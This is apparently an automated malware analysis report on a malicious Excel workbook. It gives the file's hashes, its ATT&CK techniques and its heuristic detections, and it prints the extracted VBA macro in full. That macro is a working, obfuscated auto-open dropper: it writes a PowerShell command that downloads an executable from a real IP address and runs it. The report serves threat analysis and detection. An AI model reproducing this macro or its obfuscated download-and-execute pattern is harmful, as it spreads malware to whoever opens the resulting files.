Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1b7c184089422fa0…

MALICIOUS

Office (OOXML)

11.0 KB Created: 2021-04-13 13:37:17 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-10-11
MD5: 3a2da74b96fe9b91168baedab685029a SHA-1: 8a2728c0b9fca10d634f3c4cb68ab3161c20119e SHA-256: 1b7c184089422fa0810e895748f9f83cedca1c7c33c3f75ba51b47eaed6e6457
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The Workbook_Open macro executes a PowerShell command to download a second-stage executable from 'http://18.195.133.226/DiD/E/IMG_002023400762.exe' and save it as 'C:\Users\Public\Documents\lineseries.exe'. The script also creates a temporary batch file 'C:\Users\Public\Documents\whenstep.cmd' to facilitate this download and execution.

Heuristics 4

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1202 bytes
SHA-256: 4ff7927774dd04486a172e2e5f66da58e4fea0bdeebb6485d1d514b7ca823841
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
similaroffer = "powe^rs"
picturesomething = "C:\Users\Public\Documents\whenstep.cm" & Chr(CLng("99.6"))
ballput = "h^ell"
sensegarden = FreeFile
Open picturesomething For Output As #sensegarden
Print #sensegarden, similaroffer & ballput & " -w hi slee^p -Se 31;Sta^rt-BitsTr^ansfer -Source htt`p://18.195.133.226/DiD/E/IMG_002023400762.e`xe" & " -Destination C:\Users\Public\Documents\lineseries.e`xe" & ";C:\Users\Public\Documents\lineseries.e`xe"
Close sensegarden
sheee = "shel"
obh = CreateObject(sheee & "l.application").Open(picturesomething)
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 9728 bytes
SHA-256: f70d23643d327beda5cbd124b799714e51babaae78149fc0aba0f37260217314